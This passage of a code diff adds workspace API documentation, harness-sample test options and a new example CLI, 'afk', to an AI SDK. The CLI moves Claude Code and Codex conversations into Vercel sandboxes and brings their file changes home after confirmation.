CLI only on a provider-owned workspace. | +| `duplex_spawn` | Whether `spawn()` gives a writable stdin. `True` on both. | +| `path` | The working directory as the agent sees it. | +| `coords` | `WorkspaceCoords` for this workspace. A `VercelSandbox` raises `WorkspaceError` before it is open. | +| `env` | Environment for everything run here. | +| `gateway` | The workspace's `Gateway`, or `None`. | + +Methods: + +- `await open()` and `await close()`. +- `await exec(argv, *, env=None, timeout=None)`: Run a command to + completion. Returns `ExecResult`. On `Local`, a program that cannot start + gives `exit_code=127`, and `timeout` kills the command and raises + `TimeoutError`. +- `await spawn(argv, *, env=None)`: Start a process with duplex stdio. + Returns `Process`. +- `await pty(argv, *, env=None, name=None, size=None)`: Run a program on a + pseudo-terminal. Returns `Pty`. A `name` keeps it running after you + detach; a name already running raises `WorkspaceError`. `size` is + `(cols, rows)`, `(80, 24)` by default. +- `await attach(name)`: Reconnect to a named pty. Returns `Pty`. Raises + `WorkspaceError` when none is running. +- `await ptys()`: List named ptys still running. Returns `list[PtyInfo]`. +- `await read_text(path)`, `await read_bytes(path)`: Read a file. Relative + paths resolve against `path`. Raise `FileNotFoundError` when it is + missing. +- `await write_text(path, data)`: Write a file, creating parent directories. +- `await exists(path)`: Whether a path exists. +- `await home()`: The home directory on the workspace's machine. The SDK + keeps its state there, under `~/.ai-python/` (session locks, named ptys). +- `await reachable_url(port)`: A URL the agent can reach for a port. +- `contains(candidate)`: Whether an absolute path is inside `path`. Pure-path + check; relative paths return `False`. +- `injects_credentials_for(host)`: Whether requests to `host` get the + credential at egress. +- `workspace / "path"`: Build a `WorkspacePath`. + +## copy + +```python +await workspaces.copy(source, dest, *, ignore=None, gitignore=True) +``` + +Copy a directory between your machine and a workspace, or between two +workspaces. Mark the workspace side with `workspace / "path"`. Two plain paths +raise `TypeError`. + +| Argument | Description | Default | +|---|---|---| +| `source`, `dest` | `str`, `Path`, or `WorkspacePath`. | required | +| `ignore` | Glob patterns to skip. | `None`: common noise such as `.git`, `node_modules`, `.venv`, and caches | +| `gitignore` | Also skip what the tree's `.gitignore` files exclude. | `True` | + +Returns the number of files copied. + +## contains + +```python +workspaces.contains(root, candidate) +``` + +Pure-path containment. Returns `True` when `candidate` is an absolute path +inside `root`. Does not touch the filesystem. + +## WorkspacePath + +A path and the workspace it lives in. Built with `workspace / "path"`. +Supports `/` for sub-paths. `str()` gives `"kind:path"`. + +| Field | Description | +|---|---| +| `workspace` | The `Workspace`. | +| `path` | The path inside it. | + +## WorkspaceCoords + +A serializable locator for a workspace. A harness `Handle` carries it. + +| Field | Description | +|---|---| +| `provider` | `"local"` or `"sandbox"`. | +| `location` | The directory, or the sandbox's name. | +| `options` | Provider options, such as the sandbox `workdir`. | + +## ExecResult + +A finished command. + +| Field | Description | +|---|---| +| `exit_code` | The exit status. | +| `stdout` | Standard output, as text. | +| `stderr` | Standard error, as text. | + +## Process + +A live process from `spawn()`. + +```python +process.pid +await process.write(data) +await process.readline() +await process.read_stderr() +await process.os_pid() +await process.wait() +await process.detach() +await process.terminate() +await process.kill() +``` + +- `pid`: Local pid, or `None` in a sandbox. +- `os_pid()`: The pid where the process runs, or `None` when unknown. +- `detach()`: Release the handle and leave the process running, where the + workspace allows it. On `Local` this is `terminate()`. +- `terminate()`: Returns only once the process is gone. In a sandbox it + raises `WorkspaceError` when the process survives `SIGKILL`. +- `wait()`: The exit status. + +## Pty + +The master side of a pseudo-terminal. + +```python +pty.name +pty.pid +await pty.send(data) +await pty.receive() +await pty.resize(cols, rows) +await pty.detach() +await pty.close() +await pty.wait() +``` + +- `name`: Set for a named pty, otherwise `None`. +- `pid`: The program's pid where it runs. +- `send(data)` and `receive()` take and return `bytes`. `receive()` returns + `b""` when the program has ended. +- `resize(cols, rows)` changes the window size. +- `detach()` drops the connection. A named program keeps running; an unnamed + one ends. +- `close()` ends the program. +- `wait()` returns the exit status, or `None` when the connection ended + first. + +## PtyInfo + +A named pty listed by `ptys()`. + +| Field | Description | +|---|---| +| `name` | What `attach()` takes. | +| `pid` | The program's pid. | +| `attached` | Whether a client is connected. Attaching anyway takes it over. | + +## Gateway + +Where a CLI reaches its model: a base URL and a credential. + +```python +gateway = workspaces.Gateway(base_url="https://...", credential="...") +gateway.host # hostname of base_url +gateway.is_brokered # True when credential is the placeholder +gateway.brokered() # a copy with the placeholder credential +``` + +The placeholder is `"ai-python-brokered-credential"`. Harnesses hand it to +the CLI on a workspace that injects the real key at egress. + +## vercel_ai_gateway + +```python +workspaces.vercel_ai_gateway( + *, + api_key=None, + base_url="https://ai-gateway.vercel.sh", +) +``` + +Returns a `Gateway` for Vercel AI Gateway. `api_key` defaults to +`AI_GATEWAY_API_KEY`. Raises `NotAuthenticatedError` when there is no key. + +## tty + +`ai.workspaces.experimental.tty` attaches this process's terminal to a +`Pty`. It is POSIX only and is not imported by the package: + +```python +from ai.workspaces.experimental import tty + +status = await tty.bridge(pty, detach_key=tty.DETACH_KEY) +``` + +- `bridge` puts the terminal in raw mode, forwards input, output, and window + size, and restores the terminal on the way out. +- It returns the program's exit status, or `None` when you detach or the + connection ends. +- `DETACH_KEY` is Ctrl-] (`b"\x1d"`). Pass `detach_key=None` to disable it. +- It raises `RuntimeError` when stdin is not a terminal. + +## Errors + +`ai.workspaces.experimental.errors` contains the workspace errors. All +subclass `WorkspaceError`, which subclasses `ai.errors.AIError`. + +| Error | Meaning | Attributes | +|---|---|---| +| `WorkspaceError` | The workspace could not do what was asked. | | +| `WorkspaceGoneError` | The workspace no longer exists. Any other `WorkspaceError` may mean it still does. | | +| `NotAuthenticatedError` | No usable credentials where the CLI runs, or for the sandbox. | `harness`, `detail`, `hint` | diff --git a/examples/.test_scripts/check-examples.py b/examples/.test_scripts/check-examples.py index 7bdad9e0..9f75ec8b 100755 --- a/examples/.test_scripts/check-examples.py +++ b/examples/.test_scripts/check-examples.py @@ -51,6 +51,16 @@ _EXAMPLES_DIR / "apps" / "slack_agent", ["."], ), + ( + "afk", + _EXAMPLES_DIR / "apps" / "afk", + ["."], + ), + ( + "deepysec", + _EXAMPLES_DIR / "apps" / "deepysec", + ["."], + ), ] diff --git a/examples/.test_scripts/run-examples.py b/examples/.test_scripts/run-examples.py index 2b12b5d6..06668e66 100755 --- a/examples/.test_scripts/run-examples.py +++ b/examples/.test_scripts/run-examples.py @@ -6,6 +6,9 @@ uv run examples/.test_scripts/run-examples.py --image # also image samples uv run examples/.test_scripts/run-examples.py --video # also video samples uv run examples/.test_scripts/run-examples.py --e2e # also e2e test scripts + uv run examples/.test_scripts/run-examples.py --harnesses + # also harness samples: need logged-in `claude` and `codex` CLIs, and + # AI_GATEWAY_API_KEY plus Vercel credentials for the sandbox ones uv run examples/.test_scripts/run-examples.py --all # everything uv run examples/.test_scripts/run-examples.py --parallel # in parallel uv run examples/.test_scripts/run-examples.py models/stream.py @@ -74,6 +77,21 @@ class Sample: Sample("media/speech_generation.py"), ] +# These drive real coding-agent CLIs, not a model, so --model and --protocol +# do not apply. harnesses/tui.py is left out: it needs an interactive terminal. +HARNESS_SAMPLES: list[Sample] = [ + Sample("harnesses/basic.py", timeout=300.0), + Sample("harnesses/streaming.py", timeout=300.0), + Sample("harnesses/steering.py", timeout=300.0), + Sample("harnesses/tool_approval.py", timeout=300.0), + Sample("harnesses/take_over.py", timeout=300.0), + Sample("harnesses/resume.py", timeout=300.0), + Sample("harnesses/handoff.py", timeout=600.0), + Sample("harnesses/sandbox.py", timeout=600.0), + Sample("harnesses/copy_files.py", timeout=600.0), + Sample("harnesses/reconnect.py", timeout=900.0), +] + BROKEN_SAMPLES: list[Sample] = [] # E2E tests pick non-default ports so they don't collide with a running @@ -104,6 +122,7 @@ class Sample: *IMAGE_SAMPLES, *VIDEO_SAMPLES, *AUDIO_SAMPLES, + *HARNESS_SAMPLES, *BROKEN_SAMPLES, *E2E_TESTS, ] @@ -248,6 +267,11 @@ def main() -> None: parser.add_argument( "--audio", action="store_true", help="include audio samples" ) + parser.add_argument( + "--harnesses", + action="store_true", + help="include harness samples (real claude/codex CLIs)", + ) parser.add_argument( "--broken", action="store_true", help="include broken samples" ) @@ -290,6 +314,7 @@ def main() -> None: or args.image or args.video or args.audio + or args.harnesses or args.broken or args.e2e ) @@ -310,6 +335,8 @@ def main() -> None: samples.extend(VIDEO_SAMPLES) if not args.examples and (args.audio or args.all): samples.extend(AUDIO_SAMPLES) + if not args.examples and (args.harnesses or args.all): + samples.extend(HARNESS_SAMPLES) if not args.examples and (args.broken or args.all): samples.extend(BROKEN_SAMPLES) if not args.examples and (args.e2e or args.all): diff --git a/examples/README.md b/examples/README.md index 41527cfd..79223072 100644 --- a/examples/README.md +++ b/examples/README.md @@ -7,6 +7,9 @@ Examples are grouped by the main API surface they demonstrate. - `media/` contains image, video, speech, transcription, multimodal, embedding, and reranking examples. - `models/` contains model streaming, structured output, and provider examples. +- `harnesses/` contains examples that drive Claude Code and Codex, locally and + in a Vercel Sandbox (experimental; run with + `run-examples.py --harnesses`). Provider-specific model examples live under `models//`, such as `models/gateway/`, `models/openai/`, and `models/anthropic/`. diff --git a/examples/apps/afk/README.md b/examples/apps/afk/README.md new file mode 100644 index 00000000..d519d427 --- /dev/null +++ b/examples/apps/afk/README.md @@ -0,0 +1,141 @@ +# afk — step away; your agents don't + +A small CLI on `ai.harnesses` for one everyday situation: you have been working +with `claude` or `codex` in a directory, and you need to leave. `afk` lists +the conversations in that directory across both harnesses, opens one in the +harness's own TUI in a sandbox, lets you detach and close the laptop, +pushes work to run unattended, and comes back later to attach, watch, bring +home, or stop. Nothing has to be started "the afk way": it reads the +harnesses' own stores, so a conversation you began by typing `claude` an hour +ago is listed like any other. + +``` +$ afk +~/proj · claude, codex + + here + a3f5 claude migrate the billing tests to pytest active 2m + b81c claude add rate limiting to the webhook idle 6h + 01a0 codex audit the auth middleware idle 3h + + remote + c2d1 claude billing running ← from a3f5 · amber-fox + +afk push [--bg] · attach · peek · pull [--files] · stop +``` + +## The verbs + +| | | +|---|---| +| `afk [--all]` | this directory's conversations, and the ones pushed elsewhere, with a status; `--all` lists every one, not just the recent 15 | +| `afk push [id] [--as NAME] [--bg] [--hours H]` | copy it and this directory into a sandbox of its own and open the TUI there, or run it unattended with `--bg`; the sandbox lives up to `H` hours (default 5) | +| `afk attach ` | your terminal, back on its TUI; if you quit the TUI, attach opens it again in the sandbox | +| `afk peek ` | watch an unattended agent's transcript, read-only | +| `afk pull [--files]` | bring a conversation home and open it in the TUI here; `--files` also brings the files it changed there, after showing them and asking | +| `afk stop ` | end its sandbox | + +**Ctrl-]** detaches from a sandbox TUI and leaves it running. A pulled +conversation opens in an ordinary local TUI: quit it as you always do. + +An id is whatever the list showed: a label you gave with `--as`, a word from a +title, or a short id prefix. With no id, `afk` chooses only when exactly one +conversation is clearly in use; with several in play it shows them and asks. +It never guesses. + +## Three flows + +**You were just working, normally.** In another tab: + +``` +$ afk push --as billing # copies the conversation into a sandbox, opens its TUI + # work in it; Ctrl-] and close the laptop +$ afk attach billing # next day, any machine: same TUI, scrollback intact +``` + +A sandbox afk creates lives up to five hours — the platform's own default is +five *minutes*, which is shorter than any time away — and stops on its own +after that; `--hours` sets it (Hobby plans allow up to 0.75). + +Push *copies*: the local conversation stays. Keep typing here and the list +shows both, the pushed one marked `← from a3f5`. + +**Let it work while you're gone.** + +``` +$ afk push --bg --as tests # unattended, no approval gate, so it never blocks +$ afk peek tests # tail what it is doing +$ afk pull tests --files # bring the result home, its edits too, in the TUI +``` + +An unattended agent can be watched, pulled, or stopped, not taken over: +that is the SDK's live-reattach follow-up. + +**Bring the work home.** `pull` alone brings only the conversation: your +files are never touched. `pull --files` also brings what the agent changed +in the sandbox. At push time afk records a hash of every file it copied, +so on pull it can tell the sandbox's changes from yours: + +``` +$ afk pull tests --files +afk: the sandbox changed 2 files: + update src/billing.py + add tests/test_billing.py +afk: 1 file changed here too since the push; writing would lose your local version: + update README.md +afk: write the 2 changes here? [y/N] y +afk: overwrite your version of 1 file? [y/N] n +afk: wrote 2 files; left 1 as they are +``` + +Nothing is written without a yes, and files you changed locally need a +second, separate yes. A sandbox pushed before afk recorded what it copied +has no baseline: every file that differs is listed as a possible conflict, +and nothing is deleted. + +## Where things live, and why + +`afk` keeps one file, `~/.afk/state.json`, written on push: the directory the +conversation came from, the label, the sandbox name, the pty name, the +SDK `Handle`, and a hash of each file the push copied. That is exactly the set of facts that exist only because *you* +did something; everything else is asked of the machine each time — the +harness lists its conversations and whether they are held, the workspace +lists its live ptys, a sandbox that no longer exists is shown once as `gone` +and forgotten. + +Every push gets a sandbox of its own, with your directory copied as it is +at that moment. Two conversations pushed from one directory never share a +tree over there, so neither lands in files the other left behind, and +`stop` ends exactly one conversation. Each comes home on its own, with +`pull --files`. + +A remote conversation's status says what you can do with it: + +| status | meaning | +|---|---| +| `running` | its TUI runs in the sandbox with no terminal on it (`afk attach` to open it), or an unattended agent is mid-turn (`afk peek` to watch) | +| `finished` | an unattended agent has finished its turn; `afk pull --files` brings it home | +| `open elsewhere` | a terminal is on it right now, maybe yours in another tab; `afk attach` takes it over | +| `idle` | its TUI has exited; `afk attach` reopens it there, `afk pull` brings it home | +| `gone` | its sandbox no longer exists; afk forgets it | +| `unreachable` | afk could not ask its sandbox right now (network, credentials); the record is kept | + +The SDK keeps no registry and never will: app state is the app's. + +## Running it + +``` +cd examples/apps/afk +uv run afk # or: uv run python -m afk +``` + +Credentials come from the environment. `AI_GATEWAY_API_KEY` is how the +sandbox reaches a model (the key never enters the VM; the sandbox injects it +at egress). Sandbox credentials are `VERCEL_OIDC_TOKEN`, or `VERCEL_TOKEN` +with `VERCEL_TEAM_ID` and `VERCEL_PROJECT_ID`; `vercel env pull .env.local` +writes them, and the OIDC token is short-lived — a 403 on push means pull +again. Locally, without a gateway key, the harness uses your own login. + +Tests, in `examples/apps/afk`: `uv run pytest -m "not live"` runs the pure +parts offline; `uv run pytest` also runs the live listing tests, which need a +real `claude` and Vercel credentials. diff --git a/examples/apps/afk/afk/__init__.py b/examples/apps/afk/afk/__init__.py new file mode 100644 index 00000000..6d634043 --- /dev/null +++ b/examples/apps/afk/afk/__init__.py @@ -0,0 +1 @@ +"""afk — step away; your agents don't. A small CLI on ai.harnesses.""" diff --git a/examples/apps/afk/afk/__main__.py b/examples/apps/afk/afk/__main__.py new file mode 100644 index 00000000..4e28416e --- /dev/null +++ b/examples/apps/afk/afk/__main__.py @@ -0,0 +1,3 @@ +from .cli import main + +main() diff --git a/examples/apps/afk/afk/cli.py b/examples/apps/afk/afk/cli.py new file mode 100644 index 00000000..71fa7553 --- /dev/null +++ b/examples/apps/afk/afk/cli.py @@ -0,0 +1,270 @@ +"""afk — step away; your agents don't. + + afk what's here, what's still running elsewhere + afk push [id] [--bg] into a sandbox: the TUI there, or unattended + afk attach your terminal, back on its TUI (reopened if it + exited) + afk peek watch an unattended agent, read-only + afk pull [--files] bring it home, in the TUI; --files brings its + edits too + afk stop end its sandbox + +An id is whatever the list showed: a label you gave (`--as`), a word from a +title, or a short id prefix. With none, the one conversation clearly in use +is chosen; with several in play, afk asks. Ctrl-] detaches from any TUI. +""" + +from __future__ import annotations + +import argparse +import asyncio +import os +import sys +import warnings +from pathlib import Path +from typing import TYPE_CHECKING + +from ai.harnesses.experimental.errors import HarnessError +from ai.workspaces.experimental import Gateway, vercel_ai_gateway +from ai.workspaces.experimental.errors import ( + NotAuthenticatedError, + WorkspaceGoneError, +) + +from . import state as st +from . import verbs +from .resolve import AmbiguousError, NoMatchError, match, pick +from .rows import KIND_SHORT, Row, local_rows, remote_rows, stored_rows + +if TYPE_CHECKING: + from typing import TextIO + +DIM, BOLD, RESET = "\x1b[2m", "\x1b[1m", "\x1b[0m" + + +def gateway() -> Gateway | None: + return vercel_ai_gateway() if os.environ.get("AI_GATEWAY_API_KEY") else None + + +LIST_CAP = 15 +DEFAULT_HOURS = 5.0 +"""A pushed sandbox's lifetime. + +The platform's own default is five minutes, which is shorter than any time away; +five hours is its maximum on Pro. +""" + + +async def listing(cwd: Path, gw: Gateway | None, *, everything: bool) -> None: + """The list, drawn as it arrives: this directory's conversations as soon + as the local stores answer, the pushed ones once their sandboxes do — + a slow sandbox never holds up what is already known.""" + state = st.load() + away = ( + asyncio.create_task(remote_rows(state, cwd, gw)) + if state.for_origin(str(cwd)) + else None + ) + here, notes, answered = await local_rows(cwd, gw) + print( + f"{BOLD}{_tilde(cwd)}{RESET} {DIM}· " + f"{', '.join(answered) or 'no harness found'}{RESET}" + ) + for note in notes: + print(f" {DIM}{note}{RESET}") + if not here and away is None: + print() + print( + " no conversations here yet — start one with `claude` or `codex`" + ) + print() + return + if here: + print(f"\n {BOLD}here{RESET}") + shown = here if everything else here[:LIST_CAP] + for r in shown: + print( + f" {r.short} {KIND_SHORT[r.kind]:6s} {_title(r):46s} " + f"{r.status}" + ) + if len(here) > len(shown): + print( + f" {DIM}… {len(here) - len(shown)} more; `afk --all` shows " + f"them{RESET}" + ) + if away is not None: + print(f"\n {BOLD}remote{RESET}", flush=True) + remote, gone = await away + for r in remote: + origin = f"← from {r.from_id[:4]} · " if r.from_id else "" + print( + f" {r.short} {KIND_SHORT[r.kind]:6s} {(r.label or ''):14s} " + f"{r.status:14s} {DIM}{origin}{r.sandbox}{RESET}" + ) + if gone: + for name in gone: + state.forget_sandbox(name) + st.save(state) + print( + f"\n{DIM}afk push [--bg] · attach · peek · pull " + f"[--files] · stop {RESET}" + ) + + +def _title(r: Row) -> str: + t = (r.title or "").strip().replace("\n", " ") + return (t[:43] + "…") if len(t) > 44 else t + + +def _tilde(p: Path) -> str: + home = str(Path.home()) + s = str(p) + return "~" + s[len(home) :] if s.startswith(home) else s + + +def choose( + rows: list[Row], query: str | None, *, where: str | None, verb: str +) -> Row | None: + try: + return match(rows, query, where=where) + except NoMatchError: + print(f"afk: nothing matches {query!r}; `afk` lists what there is") + return None + except AmbiguousError as amb: + print(f"afk {verb}: which one?") + return pick(amb.matches, f"afk {verb}") + + +async def main_async(argv: list[str]) -> int: + parser = argparse.ArgumentParser( + prog="afk", + description=__doc__, + formatter_class=argparse.RawDescriptionHelpFormatter, + ) + parser.add_argument( + "--all", + dest="everything", + action="store_true", + help="list every conversation, not just the recent ones", + ) + sub = parser.add_subparsers(dest="verb") + p_push = sub.add_parser("push", help="into a sandbox") + p_push.add_argument("id", nargs="?") + p_push.add_argument( + "--bg", + action="store_true", + help="run unattended instead of opening the TUI", + ) + p_push.add_argument("--as", dest="label", help="a label to call it by") + p_push.add_argument( + "--hours", + type=float, + default=DEFAULT_HOURS, + help=( + "how long a sandbox this push creates may live (default " + f"{DEFAULT_HOURS:g}; Hobby plans allow 0.75)" + ), + ) + for verb in ("attach", "peek"): + sub.add_parser(verb).add_argument("id") + p_pull = sub.add_parser("pull") + p_pull.add_argument("id") + p_pull.add_argument( + "--files", + action="store_true", + help="also bring home the files it changed there; asks first", + ) + sub.add_parser("stop").add_argument("id") + args = parser.parse_args(argv) + + cwd = Path.cwd().resolve() + try: + gw = gateway() + except NotAuthenticatedError as exc: + print(f"afk: {exc}") + return 2 + try: + # Each verb gathers only what it needs: the list asks everything; + # push needs this directory's conversations; the rest need afk's + # own record of what it pushed, and then that one sandbox. + if args.verb is None: + await listing(cwd, gw, everything=args.everything) + return 0 + if args.verb == "push": + rows, _, _ = await local_rows(cwd, gw) + row = choose(rows, args.id, where="here", verb="push") + if row is None: + return 1 + print( + f"afk: pushing {row.short} {KIND_SHORT[row.kind]} " + f"{_title(row)!r}" + ) + await verbs.push( + cwd, + row, + label=args.label, + background=args.bg, + hours=args.hours, + gateway=gw, + ) + return 0 + row = choose( + stored_rows(st.load(), cwd), args.id, where="remote", verb=args.verb + ) + if row is None: + return 1 + try: + if args.verb == "attach": + await verbs.attach(row, gw) + elif args.verb == "peek": + await verbs.peek(row, gw) + elif args.verb == "pull": + await verbs.pull(cwd, row, gw, with_files=args.files) + elif args.verb == "stop": + await verbs.stop(row, gw) + except WorkspaceGoneError: + # These verbs trust afk's record without asking every sandbox + # first; when the record turns out stale, correct it here. + state = st.load() + state.forget_sandbox(row.sandbox or "") + st.save(state) + what = ( + "already gone" + if args.verb == "stop" + else "gone (stopped or expired)" + ) + print( + f"afk: {row.label or row.short}'s sandbox {row.sandbox} is " + f"{what}; afk has forgotten it" + ) + return 0 if args.verb == "stop" else 1 + return 0 + except HarnessError as exc: + print(f"afk: {exc}") + return 1 + + +def _one_line_warning( + message: Warning | str, + category: type[Warning], + filename: str, + lineno: int, + file: TextIO | None = None, + line: str | None = None, +) -> None: + """Print an SDK warning in one line, afk's way, without a source trace. + + The SDK warns when something could not travel (e.g. reasoning into + claude). + """ + print(f"afk: {message}", file=sys.stderr) + + +def main() -> None: + # ty reports identical signatures as incompatible here + warnings.showwarning = _one_line_warning # ty: ignore[invalid-assignment] + try: + sys.exit(asyncio.run(main_async(sys.argv[1:]))) + except KeyboardInterrupt: + print() + sys.exit(130) diff --git a/examples/apps/afk/afk/files.py b/examples/apps/afk/afk/files.py new file mode 100644 index 00000000..bc805bdb --- /dev/null +++ b/examples/apps/afk/afk/files.py @@ -0,0 +1,75 @@ +"""What `afk pull --files` would write here, decided before anything is written. + +Three views of the project: what was pushed (the baseline afk recorded at +push time), what the sandbox has now, and what this directory has now. A +file comes home only if the sandbox changed it. If this directory changed +it too since the push, that is a conflict: your edits would be lost, so it +is listed on its own and needs its own yes. + +Without a baseline (a sandbox pushed before afk recorded one) nothing can +be told apart, so every difference is listed as a possible conflict, and +nothing is ever deleted: a file missing there may never have been pushed. +""" + +from __future__ import annotations + +import hashlib +from typing import TYPE_CHECKING, Literal + +from pydantic import BaseModel + +# Private: the same rules `copy()` uses to decide what travels, so a +# manifest matches exactly what push sent. +from ai.workspaces.experimental._base import ( + DEFAULT_IGNORE, # noqa: PLC2701 + walk_uploadable, # noqa: PLC2701 +) + +if TYPE_CHECKING: + from pathlib import Path + +Action = Literal["add", "update", "delete"] + + +class Change(BaseModel): + path: str + action: Action + conflict: bool + """This directory changed the file too since the push (or there is no + record of what was pushed): writing it would lose local edits.""" + + +def manifest(root: Path) -> dict[str, str]: + """sha256 of every file that travels, by the same rules push copies with.""" + return { + relative: hashlib.sha256(path.read_bytes()).hexdigest() + for path, relative in walk_uploadable(root, DEFAULT_IGNORE) + } + + +def plan( + sandbox: dict[str, str], + local: dict[str, str], + baseline: dict[str, str] | None, +) -> list[Change]: + """The changes to bring home, sorted by path. + + Pure: hashes in, a plan out. + """ + changes: list[Change] = [] + paths = set(sandbox) | set(baseline if baseline is not None else local) + for path in sorted(paths): + there, here = sandbox.get(path), local.get(path) + if there == here: + continue # already the same + if baseline is not None and there == baseline.get(path): + continue # the sandbox did not change it; any difference is yours + if there is None: + if here is None or baseline is None: + continue # without a record of what was pushed, never delete + action: Action = "delete" + else: + action = "add" if here is None else "update" + conflict = baseline is None or here != baseline.get(path) + changes.append(Change(path=path, action=action, conflict=conflict)) + return changes diff --git a/examples/apps/afk/afk/render.py b/examples/apps/afk/afk/render.py new file mode 100644 index 00000000..fe0a3756 --- /dev/null +++ b/examples/apps/afk/afk/render.py @@ -0,0 +1,158 @@ +"""A transcript, drawn for a terminal: what `afk peek` shows. + +Readable at a glance, the way the harness's own TUI reads: your messages +marked with a chevron, the agent's words wrapped to the terminal, each tool +call on one line with the argument that says what it does, and its result as one +line under it. Long text is cut, not dropped silently: a cut says so. +""" + +from __future__ import annotations + +import json +import re +import textwrap +from typing import Any + +MAX_USER_LINES = 3 +MAX_TEXT_LINES = 12 +TOOL_ARG_KEYS = ( + "command", + "cmd", + "file_path", + "path", + "pattern", + "url", + "query", + "description", + "prompt", +) +_REMINDER = re.compile(r".*?", re.S) + + +class Style: + def __init__(self, *, color: bool) -> None: + on = color + self.dim = (lambda s: f"\x1b[2m{s}\x1b[0m") if on else (lambda s: s) + self.bold = (lambda s: f"\x1b[1m{s}\x1b[0m") if on else (lambda s: s) + self.red = (lambda s: f"\x1b[31m{s}\x1b[0m") if on else (lambda s: s) + + +def lines(message: Any, width: int, style: Style) -> list[str]: + """The terminal lines for one transcript message; [] for nothing to show.""" + out: list[str] = [] + for part in message.parts: + kind = getattr(part, "kind", "") + if kind == "text": + text = _REMINDER.sub("", part.text).replace("**", "").strip() + if not text: + continue + if message.role == "user": + out += [ + style.bold(ln) + for ln in _wrap( + text, + width, + "› ", # noqa: RUF001 + " ", + MAX_USER_LINES, + ) + ] + else: + out += _wrap(text, width, " ", " ", MAX_TEXT_LINES) + elif kind == "tool_call": + out.append( + style.dim( + _clip( + ( + f" ⏺ {part.tool_name} " + f"{_tool_arg(part.tool_args)}" + ).rstrip(), + width, + ) + ) + ) + elif kind == "tool_result": + summary, failed = _result(part) + line = _clip(f" ⎿ {summary}", width) + out.append(style.red(line) if failed else style.dim(line)) + return out + + +def _wrap( + text: str, width: int, first: str, rest: str, limit: int +) -> list[str]: + wrapped: list[str] = [] + for paragraph in text.splitlines(): + if not paragraph.strip(): + if wrapped and wrapped[-1] != "": + wrapped.append("") + continue + wrapped += textwrap.wrap(paragraph, max(20, width - len(first))) or [""] + while wrapped and wrapped[-1] == "": + wrapped.pop() + cut = len(wrapped) - limit + shown = wrapped[:limit] + result = [(first if i == 0 else rest) + ln for i, ln in enumerate(shown)] + if cut > 0: + result.append(f"{rest}… {cut} more line{'s' * (cut != 1)}") + return result + + +def _tool_arg(raw: str) -> str: + """The one argument that says what a call does: its command, its file…""" + try: + args = json.loads(raw) if raw else {} + except ValueError: + return _one_line(raw) + if isinstance(args, dict): + for key in TOOL_ARG_KEYS: + value = args.get(key) + if isinstance(value, str) and value.strip(): + return _one_line(value) + if ( + isinstance(value, list) + and value + and all(isinstance(v, str) for v in value) + ): + return _one_line(" ".join(value)) + for value in args.values(): + if isinstance(value, str) and value.strip(): + return _one_line(value) + return "" + + +def _result(part: Any) -> tuple[str, bool]: + failed = getattr(part, "result_kind", "") == "error" + text = _text_of(part.result).strip() + if not text: + return ("error" if failed else "done"), failed + all_lines = [ln for ln in text.splitlines() if ln.strip()] + first = _one_line(all_lines[0]) if all_lines else "" + more = len(all_lines) - 1 + summary = first + ( + f" (+{more} line{'s' * (more != 1)})" if more > 0 else "" + ) + return ("error: " + summary if failed else summary), failed + + +def _text_of(value: Any) -> str: + if value is None: + return "" + if isinstance(value, str): + return value + if isinstance(value, list): + return "\n".join(_text_of(v) for v in value) + if isinstance(value, dict): + for key in ("text", "output", "content", "stdout", "result"): + if key in value: + return _text_of(value[key]) + return json.dumps(value) + return str(value) + + +def _one_line(s: str) -> str: + return " ".join(s.split()) + + +def _clip(s: str, width: int) -> str: + return s if len(s) <= width else s[: max(1, width - 1)] + "…" diff --git a/examples/apps/afk/afk/resolve.py b/examples/apps/afk/afk/resolve.py new file mode 100644 index 00000000..5f4f571b --- /dev/null +++ b/examples/apps/afk/afk/resolve.py @@ -0,0 +1,78 @@ +"""Turning what you typed into one conversation — or asking, never guessing. + +Humans mostly do not type ids. A verb accepts a label you gave, a word +from a title, or a short id prefix, whatever the list showed. With no +argument, the one conversation clearly in use is chosen; with several in +play, afk shows them and asks. The only thing ever auto-selected is a +choice with exactly one candidate. +""" + +from __future__ import annotations + +from typing import TYPE_CHECKING + +if TYPE_CHECKING: + from collections.abc import Callable + + from .rows import Row + + +class AmbiguousError(Exception): + def __init__(self, query: str, matches: list[Row]) -> None: + self.query = query + self.matches = matches + super().__init__(f"{len(matches)} conversations match {query!r}") + + +class NoMatchError(Exception): + pass + + +def match( + rows: list[Row], query: str | None, *, where: str | None = None +) -> Row: + """Resolve `query` against rows. + + Raises AmbiguousError or NoMatchError; the CLI turns those into a + numbered pick or a message. + """ + pool = [r for r in rows if where is None or r.where == where] + if query is None: + current = [r for r in pool if r.where == "here" and r.active] + if len(current) == 1: + return current[0] + raise AmbiguousError( + "(the current conversation)", pool if len(current) != 1 else current + ) + exact = [ + r for r in pool if r.session_id == query or (r.label or "") == query + ] + if len(exact) == 1: + return exact[0] + found = [r for r in pool if r.matches(query)] + if len(found) == 1: + return found[0] + if not found: + raise NoMatchError(query) + raise AmbiguousError(query, found) + + +def pick( + rows: list[Row], prompt: str, ask: Callable[[str], str] = input +) -> Row | None: + """Numbered choice on this screen. Returns None when the user declines.""" + if not rows: + return None + for n, r in enumerate(rows, 1): + title = (r.title or r.label or "").strip()[:48] + print( + f" {n:>2}. {r.short} {r.kind.split('-')[0]:6s} {title:48s} " + f"{r.status}" + ) + while True: + answer = ask(f"{prompt} [1-{len(rows)}, Enter to cancel]: ").strip() + if not answer: + return None + if answer.isdigit() and 1 <= int(answer) <= len(rows): + return rows[int(answer) - 1] + print(" a number from the list, please") diff --git a/examples/apps/afk/afk/rows.py b/examples/apps/afk/afk/rows.py new file mode 100644 index 00000000..10e74018 --- /dev/null +++ b/examples/apps/afk/afk/rows.py @@ -0,0 +1,286 @@ +"""The list: every conversation here, and every one afk pushed elsewhere. + +`here` comes straight from the harnesses' own stores — nothing was +registered, so a conversation you started by typing `claude` an hour ago is +listed like any other. `remote` comes from afk's state and is then *verified* +against the sandbox: does the VM still exist, is the TUI's pty still there, +is the conversation still held. The machine is the source of truth; the +state file only holds what cannot be asked. +""" + +from __future__ import annotations + +import asyncio +import time +from typing import TYPE_CHECKING, Any, Literal + +from pydantic import BaseModel + +from ai.harnesses.experimental import Handle, claude_code, codex +from ai.harnesses.experimental.errors import HarnessError +from ai.workspaces.experimental import Local, VercelSandbox +from ai.workspaces.experimental.errors import WorkspaceGoneError + +if TYPE_CHECKING: + from pathlib import Path + + from ai.workspaces.experimental import Gateway + + from .state import Remote, State + +HARNESSES = {"claude-code": claude_code, "codex": codex} +KIND_SHORT = {"claude-code": "claude", "codex": "codex"} + +CONTINUE_MARK = 